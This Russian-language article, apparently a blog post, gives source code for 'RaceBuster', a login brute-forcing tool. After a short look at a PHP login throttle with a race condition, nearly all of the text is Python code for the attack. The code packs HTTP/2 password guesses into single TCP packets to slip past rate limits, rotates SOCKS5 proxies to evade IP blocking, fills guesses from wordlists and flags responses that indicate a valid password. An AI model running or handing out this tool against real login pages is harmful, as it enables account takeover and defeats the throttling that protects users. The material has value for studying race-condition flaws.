Обходим rate-limit через race condition и пишем инструмент для брута с работой через прокси (+ исходники RaceBuster)

if ($this->throttle->isLocked($ip)) {
    return new Response(429, 'Too many attempts. Try again later.');
}

$user = $this->users->findByUsername($username);

if (!$user || !password_verify($password, $user->passwordHash)) {
    $this->throttle->hit($ip);
    return new Response(401, 'Incorrect username or password.');
}

public function isLocked(string $ip): bool
{
    $stmt = $this->db->prepare(
        "SELECT attempts, last_attempt_at FROM login_throttle WHERE ip = :ip"
    );
    $stmt->execute([':ip' => $ip]);
    $row = $stmt->fetch(PDO::FETCH_ASSOC);

    if (!$row) return false;
    if (time() - (int)$row['last_attempt_at'] >= $this->decaySeconds) return false;

    return (int)$row['attempts'] >= $this->maxAttempts;
}

public function hit(string $ip): void
{
    $stmt = $this->db->prepare(
        "INSERT INTO login_throttle (ip, attempts, last_attempt_at)
         VALUES (:ip, 1, :now)
         ON DUPLICATE KEY UPDATE attempts = attempts + 1, last_attempt_at = :now"
    );
    $stmt->execute([':ip' => $ip, ':now' => time()]);
}

count = db.query("SELECT attempts FROM limits WHERE ip = ?", ip)  # атомарно
if count < 5:
    result = handle_login(...)          # логин
    db.query("UPDATE limits SET attempts = attempts + 1 WHERE ip = ?", ip)  # атомарно

post_request_frames = h2_frames.create_headers_frame(
    method=method, authority=authority, scheme=scheme, path=path,
    headers_string=headers_string, stream_id=stream_id, body=body,
)
# отрезаем последний байт DATA-фрейма и снимаем флаг END_STREAM:
last_byte = post_request_frames.frames[-1].data[-1:]
post_request_frames.frames[-1].data = post_request_frames.frames[-1].data[:-1]
post_request_frames.frames[-1].flags.remove('ES')
# сервер "зависнет" на этом запросе, пока не прилетит финальный фрейм:
new_data_frame = h2.H2Frame(stream_id=stream_id, flags={'ES'}) / h2.H2DataFrame(data=last_byte)


Сердце движка - весь батч собирается в два blob’а и выстреливается последовательно:
stream_ids = conn.generate_stream_ids(number_of_streams=len(batch))
bulk_bytes = b''    # все HEADERS+DATA без последних байтов
final_bytes = b''   # финальные 1-байтовые DATA-фреймы (с ES)
stream_map = {}     # stream_id -> пароль


for password, stream_id in zip(batch, stream_ids):
    body = self.substitute_password(self.req.body, password)
    headers_string = self.req.headers_string + \
        f'content-length: {len(body.encode("utf-8"))}\n'
    frames_part, last_frame = conn.create_single_packet_http2_post_request_frames(
        method=self.req.method, authority=host, scheme=scheme,
        path=self.req.path, headers_string=headers_string,
        stream_id=stream_id, body=body,
    )
    bulk_bytes += bytes(frames_part)
    final_bytes += bytes(last_frame)
    stream_map[stream_id] = password

conn.send_bytes(bulk_bytes)       # (1) весь батч одним burst'ом
if self.pre_send_delay > 0:
    time.sleep(self.pre_send_delay)  # (2) сервер принял всё и ждёт
if self.ping_warmup:
    conn.send_ping_frame()        # (3) прогрев
conn.send_bytes(final_bytes)      # (4) релиз: ~9*N байтов - все потоки в обработке

def load_proxy_list(path: str):
    entries = []
    with open(path, 'r', encoding='utf-8', errors='replace') as f:
        for lineno, raw in enumerate(f, 1):
            line = raw.strip()
            if not line or line.startswith('#'):
                continue
            try:
                entries.append(parse_proxy_line(line))
            except ValueError as e:
                raise ValueError(f'Строка {lineno} списка прокси: {e}') from None
    return entries

class _SocksAuthMixin:
    proxy_username = None
    proxy_password = None

    def _create_socks_socket(self):
        sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
        sock.set_proxy(socks.SOCKS5, self.proxy_hostname, self.proxy_port_number,
                       username=self.proxy_username, password=self.proxy_password)
        # Nagle оставлен включённым (как в ядре): батч копится в один tcp-сегмент
        sock.setsockopt(socket.IPPROTO_tcp, socket.tcp_NODELAY, 0)
        # read_timeout ограничивает и установку соединения с прокси (CONNECT +
        # согласование), иначе мёртвый прокси подвесил бы батч до таймаута ОС
        sock.settimeout(self.read_timeout)
        sock.connect((self.hostname, self.port_number))
        self.raw_socket = sock
        return sock


class ProxiedH2Connection(_SocksAuthMixin, H2Connection):
    pass


class ProxiedH2tlsConnection(_SocksAuthMixin, H2OntlsConnection):
    pass

def _proxy_for_batch(self, batch_num: int):
    """прокси для батча с номером batch_num (с 1): по кругу через список,
    батч 1 - первый прокси из файла. None = напрямую (список пуст)."""
    if not self.proxies:
        return None
    return self.proxies[(batch_num - 1) % len(self.proxies)]


def _make_connection(self, proxy_entry):
    """
    H2-соединение к цели (tls или h2c). Если proxy_entry задан - через
    SOCKS5-прокси на точечном PySocks-сокете с авторизацией (см.
    _SocksAuthMixin), иначе напрямую.
    """
    cls = ProxiedH2tlsConnection if self.req.scheme == 'https' else ProxiedH2Connection
    conn = cls(
        hostname=self.req.authority, port_number=self.req.port,
        read_timeout=self.read_timeout,
        proxy_hostname=proxy_entry.host if proxy_entry else None,
        proxy_port_number=proxy_entry.port if proxy_entry else None,
    )
    if proxy_entry:
        conn.proxy_username = proxy_entry.username
        conn.proxy_password = proxy_entry.password
    return conn

for batch_num, batch in enumerate(batches, 1):
    if self._stop.is_set():
        log('[!] Остановлено пользователем')
        break
    proxy_entry = self._proxy_for_batch(batch_num)
    via = f' | прокси {proxy_entry.label()}' if proxy_entry else ''
    progress(f'Батч {batch_num}/{len(batches)}{via} | проверено {done}/{total}')
    try:
        batch_found = self._run_batch(batch, log, proxy_entry)
    except AttackError as e:
        log(f'[!] {e}')
        break
    except Exception as e:
        ...
            via = f' (через {proxy_entry.label()})' if proxy_entry else ''
            log(f'[!] Ошибка в батче {batch_num}{via}: {sig}')
        ...

def _run_batch(self, batch, log, proxy_entry=None):
    host, port, scheme = self.req.authority, self.req.port, self.req.scheme
    conn = self._make_connection(proxy_entry)


    conn.setup_connection()
    stream_map = {}  # stream_id -> пароль


    try:
        stream_ids = conn.generate_stream_ids(number_of_streams=len(batch))
        bulk_bytes = b''  # все запросы батча - одним вызовом send()


        for password, stream_id in zip(batch, stream_ids):
            ...
            bulk_bytes += bytes(request_frames)
            stream_map[stream_id] = password


        # single packet attack: весь батч уходит одним send()
        conn.send_bytes(bulk_bytes)
        ...
    finally:
        try:
            conn.close_connection()
        except Exception:
            pass

body = self.substitute_password(self.req.body, password)
headers_string = self.req.headers_string + f'content-length: {len(body.encode("utf-8"))}\n'

kept, removed = [], []
for line in parsed.headers_string.splitlines():
    name = line.split(':', 1)[0].strip().lower()
    if name == 'content-type':
        kept.append(line)
    else:
        removed.append(name)


default_port = 443 if parsed.scheme == 'https' else 80
host_line = (parsed.authority if parsed.port == default_port
             else f'{parsed.authority}:{parsed.port}')
new_raw = ('\n'.join([f'{parsed.method} {parsed.path} http/2',
                      f'Host: {host_line}'] + kept)
           + '\n\n' + parsed.body + '\n')
self.request_text.delete('1.0', tk.END)
self.request_text.insert('1.0', new_raw)
self.log(f'[+] Запрос очищен. Удалены заголовки: {", ".join(removed) or "-"}', 'muted')
self.log('[+] Host сохранён (уйдёт в :authority), content-length пересчитается при подстановке', 'muted')

H2_MSS = 1460  # стандартный MSS Ethernet: 1500 (mtu) - 20 (IP) - 20 (tcp)


def build_request_frames_bytes(req: ParsedRequest, body=None, stream_id=3) -> bytes:
    """
    Байты одного http/2-запроса на проводе (HEADERS+DATA фреймы, заголовки после
    hpack) - ровно такие, какие строит и отправляет движок. Соединение не открывается.
    body=None -> берётся тело запроса как есть (для расчёта размера под текущий шаблон).
    """
    conn = H2Connection(hostname=req.authority, port_number=req.port)
    body = req.body if body is None else body
    headers_string = req.headers_string
    if body:
        headers_string += f'content-length: {len(body.encode("utf-8"))}\n'
    frames = conn.create_simple_http2_request(
        method=req.method, authority=req.authority, scheme=req.scheme,
        path=req.path, headers_string=headers_string, stream_id=stream_id,
        body=body or None,
    )
    return bytes(frames)

# тела для замера: текущее, а если задан wordlist - с подставленными паролями
        bodies = [cleaned.body]
        param = self.param_var.get().strip()
        wl = self.wordlist_var.get().strip()
        if param:
            tmp = AttackEngine(cleaned, '', param, '',
                              url_encode_password=self.urlenc_var.get())
            if wl and os.path.exists(wl):
                try:
                    words = tmp.load_wordlist(wl)[:5000]
                    if words:
                        bodies = [tmp.substitute_password(cleaned.body, w) for w in words]
                except Exception as e:
                    self.log(f'[!] Wordlist не прочитан ({e}); расчёт по текущему телу', 'muted')


        max_size = max(len(build_request_frames_bytes(cleaned, body=b)) for b in bodies)
        fit = H2_MSS // max_size
        if fit < 2:
            self.log(f'[!] Один запрос занимает {max_size} Б - даже два не влезают '
                     f'в MSS {H2_MSS} Б, упаковка в один пакет невозможна', 'error')
            return
        fit = min(fit, 256)
        self.rpp_var.set(fit)
        self.log(f'[+] Размер одного запроса после hpack (HEADERS+DATA): {max_size} байт '
                 f'(замер по {len(bodies)} вариантам тела)')
        self.log(f'[+] Максимум в один tcp-пакет (MSS {H2_MSS} Б): {fit} запросов')

def _preflight(self, log) -> bool:
        proxy_entry = self.proxies[0] if self.proxies else None
        try:
            conn = self._make_connection(proxy_entry)
            conn.setup_connection()
        except Exception as e:
            log(f'[!] Preflight: соединение не устанавливается: {type(e).__name__}: {e}')
            if proxy_entry:
                log('[!] Preflight: первая проба идёт через первый прокси из списка - '
                    'проверьте его доступность и учётные данные')
            else:
                log('[!] Preflight: проверьте адрес/порт и запущена ли цель')
            return False


        try:
            sock = conn.get_using_socket()
            sock.settimeout(PREFLIGHT_TIMEOUT)
            try:
                first = sock.recv(4096)
            except socket.timeout:
                log(f'[!] Preflight: цель не прислала SETTINGS-фрейм за {PREFLIGHT_TIMEOUT:.0f} с - '
                    'по RFC 7540 сервер обязан прислать его сразу после preface. '
                    'Похоже, цель не говорит по http/2')
                return False
            except OSError as e:
                log(f'[!] Preflight: соединение оборвано сразу после preface: {type(e).__name__}: {e} - '
                    'цель принимает tcp, но рвёт http/2-соединение (не поддерживает h2c?)')
                return False
            ok, verdict = classify_preflight_response(first)
            log(('[+] Preflight OK: ' if ok else '[!] Preflight: ') + verdict)
            return ok
        finally:
            try:
                conn.close_connection()
            except Exception:
                pass

def classify_preflight_response(data: bytes):
    if not data:
        return False, ('сервер закрыл соединение без ответа на http/2 preface - '
                       'h2c (http/2 без tls), похоже, не поддерживается')
    if data.startswith(b'HTTP/1'):
        sample = data[:60].decode('utf-8', 'replace').replace('\r\n', ' ')
        return False, (f'цель отвечает по HTTP/1.x: {sample!r}. Single packet attack '
                       'возможен только по http/2. …')
    if len(data) >= 9 and data[3] == 0x04 and int.from_bytes(data[0:3], 'big') < 10000:
        return True, 'цель прислала корректный SETTINGS-фрейм - http/2 подтверждён'
    if all(32 <= b < 127 or b in (9, 10, 13) for b in data[:16]):
        sample = data[:60].decode('utf-8', 'replace').replace('\r\n', ' ')
        return False, (f'в ответ на http/2 preface сервер прислал текст, а не фрейм: {sample!r} …')
    return True, 'сервер прислал фреймоподобные данные - продолжаю (без гарантии)'

@staticmethod
    def load_wordlist(path: str):
        with open(path, 'r', encoding='utf-8', errors='replace') as f:
            raw_lines = f.readlines()
        seen = set()
        words = []
        for line in raw_lines:
            word = line.rstrip('\r\n')
            if not word.strip() or word.strip().startswith('#'):
                continue
            if word not in seen:
                seen.add(word)
                words.append(word)
        return words

def substitute_password(self, body: str, password: str) -> str:
    """
    заменить значение параметра self.param_name в urlencoded-теле на password.
    Остальные параметры (например csrf-токен) сохраняются как есть.
    """
    if not self.param_name:
        raise AttackError('Не указан параметр для подстановки')
    value = quote(password, safe='') if self.url_encode_password else password
    pattern = re.compile(
        r'(?<![^\s&;])(' + re.escape(self.param_name) + r'=)([^&]*)'
    )
    new_body, count = pattern.subn(lambda m: m.group(1) + value, body, count=0)
    if count == 0:
        raise AttackError(
            f'Параметр "{self.param_name}" не найден в теле запроса. '
            f'Тело: {body[:120]!r}'
        )
    return new_body

for password, stream_id in zip(batch, stream_ids):
                body = self.substitute_password(self.req.body, password)
                # content-length обязан совпадать с фактической длиной тела (RFC 7540)
                headers_string = self.req.headers_string
                headers_string += f'content-length: {len(body.encode("utf-8"))}\n'
                request_frames = conn.create_simple_http2_request(
                    method=self.req.method, authority=host, scheme=scheme,
                    path=self.req.path, headers_string=headers_string,
                    stream_id=stream_id, body=body,
                )
                bulk_bytes += bytes(request_frames)
                stream_map[stream_id] = password

resp = conn.read_response_from_socket(_timeout=self.read_timeout)
parser = h2_frames.FrameParser(h2_connection=conn)
parser.add_frames(resp)


for stream_id, frames in parser.headers_and_data_frames.items():
    password = stream_map.get(stream_id)   # stream_id -> пароль
    if password is None:
        continue  # служебные потоки (PING ACK и т.п.)
    headers = frames.get('header') or ''
    data = frames.get('data') or b''
    body_text = self._decompress_body(headers.lower(), data)  # gzip/br/deflate
    haystack = f'{headers}\n{body_text}'
    if self.match_string.lower() in haystack.lower():
        return password  # нашли

if batch_found is not None:
    found = batch_found
    break


progress(f'Проверено {done}/{total}')
if found is not None:
log('[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]')
log(f'[!!!] ПАРОЛЬ НАЙДЕН: {found}')
log('[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]')
if on_found:
    try:
        on_found(found)
    except Exception as e:
        log(f'[!] Не удалось записать найденный пароль в файл: {e}')
return True

@staticmethod
    def _split_indicators(s: str):
        """строка индикаторов через '|' -> список без пустых элементов"""
        return [p.strip() for p in (s or '').split('|') if p.strip()]


    def _match_any(self, haystack: str, indicators) -> bool:
        """есть ли в haystack хотя бы один индикатор из списка (с учётом ignore_case)"""
        if not indicators:
            return False
        hay = haystack.lower() if self.ignore_case else haystack
        for ind in indicators:
            needle = ind.lower() if self.ignore_case else ind
            if needle in hay:
                return True
        return False

haystack = f'{headers}\n{body_text}'


                # вес ответа: аномальные (в ANOMALY_FACTOR раза от среднего)
                # целиком пишутся в отдельный файл вместе с паролем
                weight = len(haystack.encode('utf-8', errors='replace'))
                self._note_response(weight, password, headers, body_text, batch_num, log)


                if self._match_any(haystack, self.invalid_indicators):
                    continue  # явный индикатор невалида - пароль точно неверный
                if self._match_any(haystack, self.valid_indicators):
                    return password

if not self.valid_indicators:
    log('[!] Не указан ни один индикатор валида (поле "Индикатор валида", '
        'несколько значений разделяются |)')
    return False

ANOMALY_FACTOR = 2.0    # ответ "сильно отличается", если он в ANOMALY_FACTOR раза
                        # тяжелее среднего веса или легче него
ANOMALY_MIN_SAMPLES = 5  # минимум ответов для базлайна среднего веса

def _note_response(self, weight, password, headers, body_text, batch_num, log):
        """
        Пополнить базлайн среднего веса ответов. Ответ, отличающийся от среднего
        в ANOMALY_FACTOR раза и больше (легче или тяжелее), целиком записывается
        в anomaly_path вместе с паролем. Базлайн считается по предыдущим ответам,
        чтобы аномалия не тянула среднее сама на себя.
        """
        count, total = self._resp_count, self._resp_total
        if count >= ANOMALY_MIN_SAMPLES:
            avg = total / count
            if weight > avg * ANOMALY_FACTOR or weight * ANOMALY_FACTOR < avg:
                ratio = weight / avg if weight >= avg else avg / (weight or 1)
                try:
                    self._write_anomaly(weight, avg, ratio, password, headers,
                                        body_text, batch_num)
                    log(f'[*] Аномальный ответ: {weight} Б при среднем {avg:.0f} Б '
                        f'(×{ratio:.1f}) - пароль {password!r}, записан в '
                        f'{os.path.basename(self.anomaly_path)}', 'muted')
                except OSError as e:
                    log(f'[!] Не удалось записать аномальный ответ: {e}', 'muted')
        self._resp_count = count + 1
        self._resp_total = total + weight